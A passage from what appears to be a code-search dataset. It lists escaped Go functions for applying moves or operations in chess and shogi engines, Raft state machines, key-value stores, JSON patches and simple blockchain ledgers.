raftCmd.Type)\\n\\t}\\n\\n\\traftCmd.Close()\\n\\treturn\\n}\",\n \"func (b Board) ApplyMove(m Move) (Piece, error) {\\n\\tif !b.CanApplyMove(m) {\\n\\t\\treturn PieceNull, NewMoveError(m)\\n\\t}\\n\\tif m.IsDrop() {\\n\\t\\tb[m.To] = m.SideAndPiece()\\n\\t} else {\\n\\t\\tfromSap := b.Get(m.From)\\n\\t\\ttoSap := b.Get(m.To)\\n\\t\\tif fromSap.Piece != m.Piece {\\n\\t\\t\\tp := fromSap.Piece.Promote()\\n\\t\\t\\tif p != m.Piece {\\n\\t\\t\\t\\t// FIXME: should return better error\\n\\t\\t\\t\\treturn PieceNull, NewInvalidStateError(\\\"fromSap is not correspond to m\\\")\\n\\t\\t\\t}\\n\\t\\t\\tfromSap.Piece = p\\n\\t\\t}\\n\\t\\tb[m.To] = fromSap\\n\\t\\tb.SafeRemove(m.From)\\n\\t\\tif toSap != SideAndPieceNull {\\n\\t\\t\\treturn toSap.Piece, nil\\n\\t\\t}\\n\\t}\\n\\treturn PieceNull, nil\\n}\",\n \"func (g *Game) ApplyMove(move Move) Game {\\n\\tclone := *g\\n\\tclone.applyMove(move)\\n\\tclone.updateGameState()\\n\\treturn clone\\n}\",\n \"func (c *Controller) apply(key string) error {\\n\\titem, exists, err := c.indexer.GetByKey(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !exists {\\n\\t\\treturn c.remove(key)\\n\\t}\\n\\treturn c.upsert(item, key)\\n}\",\n \"func (p PiecePositions) ApplyMove(c Color, move *Move, movingPiece, capturedPiece NormalizedPiece) PiecePositions {\\n\\tpieces := NewPiecePositions()\\n\\tfor color, _ := range pieces {\\n\\t\\tfor pieceIx, oldPositions := range p[color] {\\n\\n\\t\\t\\tpiece := NormalizedPiece(pieceIx)\\n\\t\\t\\tif (Color(color) == c && piece != movingPiece) || (Color(color) != c && piece != capturedPiece) {\\n\\t\\t\\t\\tpieces[color][piece] = oldPositions\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tpieces[color][piece] = PositionBitmap(0)\\n\\t\\t\\t}\\n\\n\\t\\t\\tfor _, pos := range oldPositions.ToPositions() {\\n\\t\\t\\t\\tif Color(color) == c && piece == movingPiece && pos == move.From {\\n\\t\\t\\t\\t\\t// This is the piece that is moving and we need to replace its\\n\\t\\t\\t\\t\\t// position with the move's target.\\n\\t\\t\\t\\t\\t// There's a special case for promotions, because in that case\\n\\t\\t\\t\\t\\t// we need to remove the pawn instead, and add a new piece.\\n\\t\\t\\t\\t\\tif move.Promote == NoPiece {\\n\\t\\t\\t\\t\\t\\tpieces[color][piece] = pieces[color][piece].Add(move.To)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else if Color(color) != c && piece == capturedPiece && pos == move.To {\\n\\t\\t\\t\\t\\t// Skip captured pieces\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t// Copy unaffected pieces\\n\\t\\t\\t\\t\\tpieces[color][piece] = pieces[color][piece].Add(pos)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t// Handle promote\\n\\tif move.Promote != NoPiece {\\n\\t\\tnormPromote := move.Promote.ToNormalizedPiece()\\n\\t\\tpieces[c][normPromote] = pieces[c][normPromote].Add(move.To)\\n\\t}\\n\\n\\t// There is another special case for castling, because now we also\\n\\t// need to move the rook's position.\\n\\tif movingPiece == King && c == Black {\\n\\t\\tif move.From == E8 && move.To == G8 {\\n\\t\\t\\tpieces.move(Black, Rook, H8, F8)\\n\\t\\t} else if move.From == E8 && move.To == C8 {\\n\\t\\t\\tpieces.move(Black, Rook, A8, D8)\\n\\t\\t}\\n\\t} else if movingPiece == King && c == White {\\n\\t\\tif move.From == E1 && move.To == G1 {\\n\\t\\t\\tpieces.move(White, Rook, H1, F1)\\n\\t\\t} else if move.From == E1 && move.To == C1 {\\n\\t\\t\\tpieces.move(White, Rook, A1, D1)\\n\\t\\t}\\n\\t}\\n\\treturn pieces\\n}\",\n \"func (l *leader) applyCommitted() {\\n\\t// add all entries <=commitIndex & add only non-log entries at commitIndex+1\\n\\tvar prev, ne *newEntry = nil, l.neHead\\n\\tfor ne != nil {\\n\\t\\tif ne.index <= l.commitIndex {\\n\\t\\t\\tprev, ne = ne, ne.next\\n\\t\\t} else if ne.index == l.commitIndex+1 && !ne.isLogEntry() {\\n\\t\\t\\tprev, ne = ne, ne.next\\n\\t\\t} else {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tvar head *newEntry\\n\\tif prev != nil {\\n\\t\\thead = l.neHead\\n\\t\\tprev.next = nil\\n\\t\\tl.neHead = ne\\n\\t\\tif l.neHead == nil {\\n\\t\\t\\tl.neTail = nil\\n\\t\\t}\\n\\t}\\n\\n\\tapply := fsmApply{head, l.log.ViewAt(l.log.PrevIndex(), l.commitIndex)}\\n\\tif trace {\\n\\t\\tprintln(l, apply)\\n\\t}\\n\\tl.fsm.ch <- apply\\n}\",\n \"func (o *Operation) apply(to interface{}) (interface{}, error) {\\n\\tswitch o.Op {\\n\\tcase \\\"test\\\":\\n\\t\\treturn to, o.path.Test(to, o.Value)\\n\\tcase \\\"replace\\\":\\n\\t\\treturn o.path.Replace(to, o.Value)\\n\\tcase \\\"add\\\":\\n\\t\\treturn o.path.Put(to, o.Value)\\n\\tcase \\\"remove\\\":\\n\\t\\treturn o.path.Remove(to)\\n\\tcase \\\"move\\\":\\n\\t\\treturn o.from.Move(to, o.path)\\n\\tcase \\\"copy\\\":\\n\\t\\treturn o.from.Copy(to, o.path)\\n\\tdefault:\\n\\t\\treturn to, fmt.Errorf(\\\"Invalid op %v\\\", o.Op)\\n\\t}\\n}\",\n \"func (g *Game) applyMove(move Move) {\\n\\tif move.IsDrop() {\\n\\t\\tp := move.Piece.WithArmy(g.armies[ColorIdx(move.Piece.Color())])\\n\\t\\tg.board.SetPieceAt(move.To, p)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Advance turn\\n\\tmovingPlayer := g.toMove\\n\\tepSquare := g.epSquare\\n\\tif !g.kingTurn {\\n\\t\\tg.halfmoveClock++\\n\\t\\tg.epSquare = InvalidSquare\\n\\t}\\n\\tif g.armies[ColorIdx(movingPlayer)] == ArmyTwoKings && !g.kingTurn {\\n\\t\\tg.kingTurn = true\\n\\t} else {\\n\\t\\tg.kingTurn = false\\n\\t\\tg.toMove = OtherColor(movingPlayer)\\n\\t}\\n\\tif g.toMove == ColorWhite && !g.kingTurn {\\n\\t\\tg.fullmoveNumber++\\n\\t}\\n\\n\\tif move.IsPass() {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Handle captures and duels\\n\\tp, _ := g.board.PieceAt(move.From)\\n\\tp = p.WithArmy(g.armies[ColorIdx(p.Color())])\\n\\tme := moveExecution{\\n\\t\\tepSquare: epSquare,\\n\\t\\tattackerStones: g.stones[ColorIdx(movingPlayer)],\\n\\t\\tdefenderStones: g.stones[1-ColorIdx(movingPlayer)],\\n\\t\\tduels: move.Duels[:],\\n\\t\\tdryRun: false,\\n\\t}\\n\\tsurvived := g.handleAllCaptures(p, move, &me)\\n\\n\\t// Update stones\\n\\tg.stones[ColorIdx(movingPlayer)] = me.attackerStones\\n\\tg.stones[1-ColorIdx(movingPlayer)] = me.defenderStones\\n\\tisZeroingMove := me.isCapture\\n\\n\\t// Move the piece\\n\\tdelta := int(move.To.Address) - int(move.From.Address)\\n\\tif survived {\\n\\t\\tif p.Name() != PieceNameAnimalsBishop || !isZeroingMove {\\n\\t\\t\\tg.board.ClearPieceAt(move.From)\\n\\t\\t\\tif move.Piece != InvalidPiece {\\n\\t\\t\\t\\tpromoted := NewPiece(move.Piece.Type(), p.Army(), p.Color())\\n\\t\\t\\t\\tg.board.SetPieceAt(move.To, promoted)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tg.board.SetPieceAt(move.To, p)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\tg.board.ClearPieceAt(move.From)\\n\\t}\\n\\tif p.Type() == TypePawn && p.Army() != ArmyNemesis {\\n\\t\\tisZeroingMove = true\\n\\t\\tif SquareDistance(move.From, move.To) > 1 {\\n\\t\\t\\tg.epSquare = Square{Address: uint8(int(move.From.Address) + delta/2)}\\n\\t\\t}\\n\\t} else if p.Name() == PieceNameClassicKing {\\n\\t\\t// Clear castling rights on king move\\n\\t\\tfirstRank := maskRank[7-7*ColorIdx(p.Color())]\\n\\t\\tg.castlingRights &^= firstRank\\n\\n\\t\\t// Move rook when castling\\n\\t\\tif delta == -2 {\\n\\t\\t\\tg.board.MovePiece(\\n\\t\\t\\t\\tSquare{Address: move.To.Address - 2},\\n\\t\\t\\t\\tSquare{Address: move.To.Address + 1},\\n\\t\\t\\t)\\n\\t\\t} else if delta == 2 {\\n\\t\\t\\tg.board.MovePiece(\\n\\t\\t\\t\\tSquare{Address: move.To.Address + 1},\\n\\t\\t\\t\\tSquare{Address: move.To.Address - 1},\\n\\t\\t\\t)\\n\\t\\t}\\n\\t}\\n\\n\\t// Update the halfmove clock\\n\\tif isZeroingMove {\\n\\t\\tg.halfmoveClock = 0\\n\\t}\\n\\t// Clear castling right on rook move or rook capture\\n\\tfor _, mask := range castles {\\n\\t\\tif move.From.mask()&mask != 0 || move.To.mask()&mask != 0 {\\n\\t\\t\\tg.castlingRights &^= mask\\n\\t\\t}\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (a Atomic) Apply(ctx Context, c Change) Value {\\n\\tswitch c := c.(type) {\\n\\tcase nil:\\n\\t\\treturn a\\n\\tcase Replace:\\n\\t\\tif !c.IsCreate() {\\n\\t\\t\\treturn c.After\\n\\t\\t}\\n\\t}\\n\\treturn c.(Custom).ApplyTo(ctx, a)\\n}\",\n \"func (e *Entry) Move(newfrag int, flags RenameFlags) error {\\n\\tfcode := C.CString(e.name)\\n\\tdefer C.free(unsafe.Pointer(fcode))\\n\\tcidx := C.int(newfrag)\\n\\tresult := C.gd_move(e.df.d, fcode, cidx, C.uint(flags))\\n\\tif result < 0 {\\n\\t\\treturn e.df.Error()\\n\\t}\\n\\te.fragment = newfrag\\n\\treturn nil\\n}\",\n \"func (format *Move) ApplyFormatter(msg *core.Message) error {\\n\\tsrcData := format.GetSourceData(msg)\\n\\n\\tformat.SetTargetData(msg, srcData)\\n\\tformat.SetSourceData(msg, nil)\\n\\treturn nil\\n}\",\n \"func ApplyMovesToBoard(moves map[string][]string, board structs.Board) structs.Board {\\n\\tnewBoard := board.Clone()\\n\\n\\tfor i := range moves[newBoard.Snakes[0].ID] { // [left, right, down]\\n\\t\\tsnakes := []structs.Snake{}\\n\\t\\tfor j, snake := range newBoard.Snakes {\\n\\t\\t\\tnext := snake.Body[0].Move(moves[snake.ID][i])\\n\\t\\t\\tnewBoard.Snakes[j].Body = append([]structs.Coordinate{next}, snake.Body...)\\n\\t\\t\\tnewBoard.Snakes[j].Health = snake.Health - 1\\n\\t\\t\\tif !CoordInList(snake.Body[0], newBoard.Food) {\\n\\t\\t\\t\\tnewBoard.Snakes[j].Body = newBoard.Snakes[j].Body[:len(newBoard.Snakes[j].Body)-1]\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tnewBoard.Snakes[j].Health = 100\\n\\t\\t\\t}\\n\\t\\t\\t// only keep snakes which haven't starved or gone out of bounds\\n\\t\\t\\tif !IsOutOfBounds(newBoard, next) && !IsStarved(newBoard.Snakes[j]) && !HitOtherSnake(newBoard, next) {\\n\\t\\t\\t\\tsnakes = append(snakes, newBoard.Snakes[j])\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tnewBoard.Snakes = snakes\\n\\t}\\n\\t// update snakes on the board to exclude dead snakes\\n\\treturn newBoard\\n}\",\n \"func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\\n\\tkv.mu.Lock()\\n\\tdefer kv.mu.Unlock()\\n\\n\\tvar args Op\\n\\targs = msg.Command.(Op)\\n\\tif kv.op_count[args.Client] >= args.Id {\\n\\t\\tDPrintf(\\\"Duplicate operation\\\\n\\\")\\n\\t}else {\\n\\t\\tswitch args.Type {\\n\\t\\tcase OpPut:\\n\\t\\t\\tDPrintf(\\\"Put Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = args.Value\\n\\t\\tcase OpAppend:\\n\\t\\t\\tDPrintf(\\\"Append Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = kv.data[args.Key] + args.Value\\n\\t\\tdefault:\\n\\t\\t}\\n\\t\\tkv.op_count[args.Client] = args.Id\\n\\t}\\n\\n\\t//DPrintf(\\\"@@@Index:%v len:%v content:%v\\\\n\\\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\\n\\t//DPrintf(\\\"@@@kv.pendingOps[%v]:%v\\\\n\\\", msg.Index, kv.pendingOps[msg.Index])\\n\\tfor _, i := range kv.pendingOps[msg.Index] {\\n\\t\\tif i.op.Client==args.Client && i.op.Id==args.Id {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <- true\\n\\t\\t}else {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <-false\\n\\t\\t}\\n\\t}\\n\\tdelete(kv.pendingOps, msg.Index)\\n}\",\n \"func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\\n\\tctx := server.Context().(ServerContext)\\n\\tdb := ctx.Server.db\\n\\tdb.Put(c.Key, c.Value)\\n\\treturn nil, nil\\n}\",\n \"func (game *Game) ApplyTurn(input string, gameDB *GameDB) (Result, error) {\\n\\tvar err error\\n\\tvar placements []TilePlacement\\n\\tvar score int\\n\\tvar words []Word\\n\\tvar result Result\\n\\n\\ttokens := strings.Split(input, \\\" \\\")\\n\\tif len(tokens) == 0 {\\n\\t\\treturn Result{}, ErrInvalidAction\\n\\t}\\n\\n\\tresult.Action = tokens[0]\\n\\ttokens = tokens[1:]\\n\\tswitch result.Action {\\n\\tcase \\\"swap\\\":\\n\\t\\t// Format of `swap a b c d`\\n\\t\\ttiles := parseTiles(tokens)\\n\\t\\terr = game.SwapTiles(tiles)\\n\\t\\tresult.Swapped = len(tiles)\\n\\n\\tcase \\\"place\\\":\\n\\t\\t// Format of `place a(1,a) b(2,a)`\\n\\t\\tplacements, err = parseTilePlacements(tokens)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn Result{}, err\\n\\t\\t}\\n\\t\\twords, score, err = game.PlaceTiles(placements)\\n\\t\\tresult.Words = words\\n\\t\\tresult.Score = score\\n\\tdefault:\\n\\t\\treturn Result{}, ErrInvalidAction\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn Result{}, err\\n\\t}\\n\\tgame.Turn.input = input\\n\\tgame.Turn.score = score\\n\\tgame.Turns = append(game.Turns, game.Turn)\\n\\n\\terr = gameDB.SaveState(game)\\n\\tif err != nil {\\n\\t\\treturn Result{}, err\\n\\t}\\n\\tgame.SetNextTurn()\\n\\n\\treturn result, nil\\n}\",\n \"func (s *itemState) buildMoveOps(txn checkpointTxn, cur keyspace.KeyValue, a Assignment) {\\n\\t// Atomic move of same value from current Assignment key, to a new one under the current Lease.\\n\\ttxn.If(modRevisionUnchanged(cur)).\\n\\t\\tThen(\\n\\t\\t\\tclientv3.OpDelete(string(cur.Raw.Key)),\\n\\t\\t\\tclientv3.OpPut(AssignmentKey(s.global.KS, a), string(cur.Raw.Value),\\n\\t\\t\\t\\tclientv3.WithLease(clientv3.LeaseID(cur.Raw.Lease))))\\n}\",\n \"func (s *State) apply(tx Transaction) error {\\n\\tif tx.IsReward() {\\n\\t\\ts.Balances[tx.To] += tx.Value\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif tx.Value > s.Balances[tx.From] {\\n\\t\\treturn fmt.Errorf(\\\"Insufficient Balance!\\\")\\n\\t}\\n\\n\\ts.Balances[tx.From] -= tx.Value\\n\\ts.Balances[tx.To] += tx.Value\\n\\n\\treturn nil\\n}\",\n \"func (s *State) apply(tx Tx) error {\\n\\tif tx.IsReward() {\\n\\t\\ts.Balances[tx.To] += tx.Value\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif s.Balances[tx.From] < tx.Value {\\n\\t\\treturn fmt.Errorf(\\\"insufficient balance\\\")\\n\\t}\\n\\n\\ts.Balances[tx.From] -= tx.Value\\n\\ts.Balances[tx.To] += tx.Value\\n\\n\\treturn nil\\n}\",\n \"func (e *Embedding) ApplyDelta(delta mat.Matrix) {\\n\\tif e.storage.ReadOnly {\\n\\t\\tlog.Fatal(\\\"emb: read-only embeddings cannot apply delta\\\")\\n\\t}\\n\\te.Param.ApplyDelta(delta)\\n\\tif _, err := e.storage.update(e); err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\\n\\t// TODO: Implement this method\\n\\treturn nil\\n}\",\n \"func (m *ItemsMutator) Apply() error {\\n\\tm.lock.Lock()\\n\\tdefer m.lock.Unlock()\\n\\t*m.target = *m.proxy\\n\\treturn nil\\n}\",\n \"func ApplyMoveToBoard(move int, playerId int, bp *[NumRows][NumColumns]int) (*[NumRows][NumColumns]int, error) {\\n\\tif move >= NumColumns || move < 0 {\\n\\t\\treturn bp, errors.New(fmt.Sprintf(\\\"Move %d is invalid\\\", move))\\n\\t}\\n\\tfor i := NumRows - 1; i >= 0; i-- {\\n\\t\\tif bp[i][move] == 0 {\\n\\t\\t\\tbp[i][move] = playerId\\n\\t\\t\\treturn bp, nil\\n\\t\\t}\\n\\t}\\n\\treturn bp, errors.New(fmt.Sprintf(\\\"No room in column %d for a move\\\", move))\\n}\",\n \"func (room *Room) applyAction(conn *Connection, cell *Cell) {\\n\\tindex := conn.Index()\\n\\n\\tfmt.Println(\\\"points:\\\", room.Settings.Width, room.Settings.Height, 100*float64(cell.Value+1)/float64(room.Settings.Width*room.Settings.Height))\\n\\tswitch {\\n\\tcase cell.Value < CellMine:\\n\\t\\troom.Players.IncreasePlayerPoints(index, 100*float64(cell.Value+1)/float64(room.Settings.Width*room.Settings.Height))\\n\\tcase cell.Value == CellMine:\\n\\t\\troom.Players.IncreasePlayerPoints(index, float64(-100))\\n\\t\\troom.Kill(conn, ActionExplode)\\n\\tcase cell.Value > CellIncrement:\\n\\t\\troom.FlagFound(*conn, cell)\\n\\t}\\n}\",\n \"func (op *OpAdd) Apply(e *entry.Entry) error {\\n\\tswitch {\\n\\tcase op.Value != nil:\\n\\t\\terr := e.Set(op.Field, op.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\tcase op.program != nil:\\n\\t\\tenv := helper.GetExprEnv(e)\\n\\t\\tdefer helper.PutExprEnv(env)\\n\\n\\t\\tresult, err := vm.Run(op.program, env)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"evaluate value_expr: %s\\\", err)\\n\\t\\t}\\n\\t\\terr = e.Set(op.Field, result)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\tdefault:\\n\\t\\t// Should never reach here if we went through the unmarshalling code\\n\\t\\treturn fmt.Errorf(\\\"neither value or value_expr are are set\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *Operation) Apply(v interface{}) (interface{}, error) {\\n\\tf, ok := opApplyMap[o.Op]\\n\\tif !ok {\\n\\t\\treturn v, fmt.Errorf(\\\"unknown operation: %s\\\", o.Op)\\n\\t}\\n\\n\\tresult, err := f(o, v)\\n\\tif err != nil {\\n\\t\\treturn result, fmt.Errorf(\\\"error applying operation %s: %s\\\", o.Op, err)\\n\\t}\\n\\n\\treturn result, nil\\n}\",\n \"func (expr *Action) Apply(val interface{}) interface{} {\\n\\treturn expr.functor(val)\\n}\",\n \"func (plan *Plan) Apply(fn ApplyFunction, resultUpdater ApplyResultUpdater) *ApplyResult {\\n\\t// make sure we are converting panics into errors\\n\\tfnModified := func(act Interface) (errResult error) {\\n\\t\\tdefer func() {\\n\\t\\t\\tif err := recover(); err != nil {\\n\\t\\t\\t\\terrResult = fmt.Errorf(\\\"panic: %s\\\\n%s\\\", err, string(debug.Stack()))\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t\\treturn fn(act)\\n\\t}\\n\\n\\t// update total number of actions and start the revision\\n\\tresultUpdater.SetTotal(plan.NumberOfActions())\\n\\n\\t// apply the plan and calculate result (success/failed/skipped actions)\\n\\tplan.applyInternal(fnModified, resultUpdater)\\n\\n\\t// tell results updater that we are done and return the results\\n\\treturn resultUpdater.Done()\\n}\",\n \"func (s *Store) Apply(log *raft.Log) interface{} {\\n\\tvar c command\\n\\tif err := json.Unmarshal(log.Data, &c); err != nil {\\n\\t\\tpanic(fmt.Sprintf(\\\"Failed to unmarshal command: %s\\\", err.Error()))\\n\\t}\\n\\n\\tswitch c.Op {\\n\\tcase \\\"SET\\\":\\n\\t\\treturn s.applySet(c.Key, c.Val)\\n\\tcase \\\"DELETE\\\":\\n\\t\\treturn s.applyDelete(c.Key)\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"Unsupported operation: %s\\\", c.Op)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (a *Applier) Apply(ctx context.Context, step *Step) (retErr error) {\\n\\tvar db *kv.DB\\n\\tdb, step.DBID = a.getNextDBRoundRobin()\\n\\n\\tstep.Before = db.Clock().Now()\\n\\tdefer func() {\\n\\t\\tstep.After = db.Clock().Now()\\n\\t\\tif p := recover(); p != nil {\\n\\t\\t\\tretErr = errors.Errorf(`panic applying step %s: %v`, step, p)\\n\\t\\t}\\n\\t}()\\n\\tapplyOp(ctx, db, &step.Op)\\n\\treturn nil\\n}\",\n \"func (u updateCachedDownloadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func(t *TargImp) Apply(a Action) os.Error {\\n\\n\\tif !t.commandSent {\\n\\t\\tt.commandSent = true\\n\\t\\treturn a(t)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (e *Engine) Apply(c Command) {\\n\\te.mutex.Lock()\\n\\tdefer e.mutex.Unlock()\\n\\tswitch c.Op {\\n\\tcase addCommand:\\n\\t\\t_, err := e.enforcer.AddPolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.Rules)\\n\\t\\tif err != nil {\\n\\t\\t\\te.logger.Panic(err.Error(), zap.Any(\\\"command\\\", c))\\n\\t\\t}\\n\\tcase removeCommand:\\n\\t\\t_, err := e.enforcer.RemovePolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.Rules)\\n\\t\\tif err != nil {\\n\\t\\t\\te.logger.Panic(err.Error(), zap.Any(\\\"command\\\", c))\\n\\t\\t}\\n\\tcase removeFilteredCommand:\\n\\t\\t_, err := e.enforcer.RemoveFilteredPolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.FiledIndex, c.FiledValues...)\\n\\t\\tif err != nil {\\n\\t\\t\\te.logger.Panic(err.Error(), zap.Any(\\\"command\\\", c))\\n\\t\\t}\\n\\tcase clearCommand:\\n\\t\\terr := e.enforcer.ClearPolicySelf(e.shouldPersist)\\n\\t\\tif err != nil {\\n\\t\\t\\te.logger.Panic(err.Error(), zap.Any(\\\"command\\\", c))\\n\\t\\t}\\n\\tcase updateCommand:\\n\\t\\t_, err := e.enforcer.UpdatePolicySelf(e.shouldPersist, c.Sec, c.Ptype, c.OldRule, c.NewRule)\\n\\t\\tif err != nil {\\n\\t\\t\\te.logger.Panic(err.Error(), zap.Any(\\\"command\\\", c))\\n\\t\\t}\\n\\tdefault:\\n\\t\\te.logger.Panic(\\\"unknown command\\\", zap.Any(\\\"command\\\", c))\\n\\t}\\n}\",\n \"func (tt *TtTable) Put(key position.Key, move Move, depth int8, value Value, valueType ValueType, mateThreat bool) {\\n\\n\\t// if the size of the TT = 0 we\\n\\t// do not store anything\\n\\tif tt.maxNumberOfEntries == 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// read the entries for this hash\\n\\tentryDataPtr := &tt.data[tt.hash(key)]\\n\\t// encode value into the move if it is a valid value (min < v < max)\\n\\tif value.IsValid() {\\n\\t\\tmove = move.SetValue(value)\\n\\t} else {\\n\\t\\ttt.log.Warningf(\\\"TT Put: Tried to store an invalid Value into the TT %s (%d)\\\", value.String(), int(value))\\n\\t}\\n\\n\\ttt.Stats.numberOfPuts++\\n\\n\\t// NewTtTable entry\\n\\tif entryDataPtr.Key == 0 {\\n\\t\\ttt.numberOfEntries++\\n\\t\\tentryDataPtr.Key = key\\n\\t\\tentryDataPtr.Move = move\\n\\t\\tentryDataPtr.Depth = depth\\n\\t\\tentryDataPtr.Age = 1\\n\\t\\tentryDataPtr.Type = valueType\\n\\t\\tentryDataPtr.MateThreat = mateThreat\\n\\t\\treturn\\n\\t}\\n\\n\\t// Same hash but different position\\n\\tif entryDataPtr.Key != key {\\n\\t\\ttt.Stats.numberOfCollisions++\\n\\t\\t// overwrite if\\n\\t\\t// - the new entry's depth is higher\\n\\t\\t// - the new entry's depth is same and the previous entry is old (is aged)\\n\\t\\tif depth > entryDataPtr.Depth ||\\n\\t\\t\\t(depth == entryDataPtr.Depth && entryDataPtr.Age > 1) {\\n\\t\\t\\ttt.Stats.numberOfOverwrites++\\n\\t\\t\\tentryDataPtr.Key = key\\n\\t\\t\\tentryDataPtr.Move = move\\n\\t\\t\\tentryDataPtr.Depth = depth\\n\\t\\t\\tentryDataPtr.Age = 1\\n\\t\\t\\tentryDataPtr.Type = valueType\\n\\t\\t\\tentryDataPtr.MateThreat = mateThreat\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\t// Same hash and same position -> update entry?\\n\\tif entryDataPtr.Key == key {\\n\\t\\ttt.Stats.numberOfUpdates++\\n\\t\\t// we always update as the stored moved can't be any good otherwise\\n\\t\\t// we would have found this during the search in a previous probe\\n\\t\\t// and we would not have come to store it again\\n\\t\\tentryDataPtr.Key = key\\n\\t\\tentryDataPtr.Move = move\\n\\t\\tentryDataPtr.Depth = depth\\n\\t\\tentryDataPtr.Age = 1\\n\\t\\tentryDataPtr.Type = valueType\\n\\t\\tentryDataPtr.MateThreat = mateThreat\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (g *generator) parseProxyApply(parameters codegen.Set, args []model.Expression,\\n\\tthen model.Expression,\\n) (model.Expression, bool) {\\n\\tif len(args) != 1 {\\n\\t\\treturn nil, false\\n\\t}\\n\\n\\targ := args[0]\\n\\tswitch then := then.(type) {\\n\\tcase *model.IndexExpression:\\n\\t\\t// Rewrite `__apply(, eval(x, x[index]))` to `[index]`.\\n\\t\\tif !isParameterReference(parameters, then.Collection) {\\n\\t\\t\\treturn nil, false\\n\\t\\t}\\n\\t\\tthen.Collection = arg\\n\\tcase *model.ScopeTraversalExpression:\\n\\t\\tif !isParameterReference(parameters, then) {\\n\\t\\t\\treturn nil, false\\n\\t\\t}\\n\\n\\t\\tswitch arg := arg.(type) {\\n\\t\\tcase *model.RelativeTraversalExpression:\\n\\t\\t\\targ.Traversal = append(arg.Traversal, then.Traversal[1:]...)\\n\\t\\t\\targ.Parts = append(arg.Parts, then.Parts...)\\n\\t\\tcase *model.ScopeTraversalExpression:\\n\\t\\t\\targ.Traversal = append(arg.Traversal, then.Traversal[1:]...)\\n\\t\\t\\targ.Parts = append(arg.Parts, then.Parts...)\\n\\t\\t}\\n\\tdefault:\\n\\t\\treturn nil, false\\n\\t}\\n\\n\\tdiags := arg.Typecheck(false)\\n\\tcontract.Assertf(len(diags) == 0, \\\"unexpected diagnostics: %v\\\", diags)\\n\\treturn arg, true\\n}\",\n \"func (cmd *Start) Apply(ctxt context.Context, _ io.Writer, _ retro.Session, repo retro.Repo) (retro.CommandResult, error) {\\n\\treturn retro.CommandResult{cmd.session: []retro.Event{events.StartSession{}}}, nil\\n}\",\n \"func (a *TurnClockwise90Action) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\\n\\tnextState := currentState.DeepCopy()\\n\\tnextState.AppendAnimation(animations.GetTurnClockwise90(a.GetOwner()))\\n\\tplayer := nextState.GetPlayer(a.GetOwner())\\n\\tif player == nil {\\n\\t\\treturn nextState, fmt.Errorf(\\\"there is no player with id %v\\\", a.GetOwner())\\n\\t}\\n\\tplayer.Facing = player.Facing + 1\\n\\tif player.Facing > 3 {\\n\\t\\tplayer.Facing = 0\\n\\t}\\n\\treturn nextState, nil\\n}\",\n \"func (p *cursorOffsetPreferred) move() {\\n\\tc := p.from\\n\\tdefer c.allowUsable()\\n\\n\\t// Before we migrate the cursor, we check if the destination source\\n\\t// exists. If not, we do not migrate and instead force a metadata.\\n\\n\\tc.source.cl.sinksAndSourcesMu.Lock()\\n\\tsns, exists := c.source.cl.sinksAndSources[p.preferredReplica]\\n\\tc.source.cl.sinksAndSourcesMu.Unlock()\\n\\n\\tif !exists {\\n\\t\\tc.source.cl.triggerUpdateMetadataNow()\\n\\t\\treturn\\n\\t}\\n\\n\\t// This remove clears the source's session and buffered fetch, although\\n\\t// we will not have a buffered fetch since moving replicas is called\\n\\t// before buffering a fetch.\\n\\tc.source.removeCursor(c)\\n\\tc.source = sns.source\\n\\tc.source.addCursor(c)\\n}\",\n \"func (te *TarExtractor) 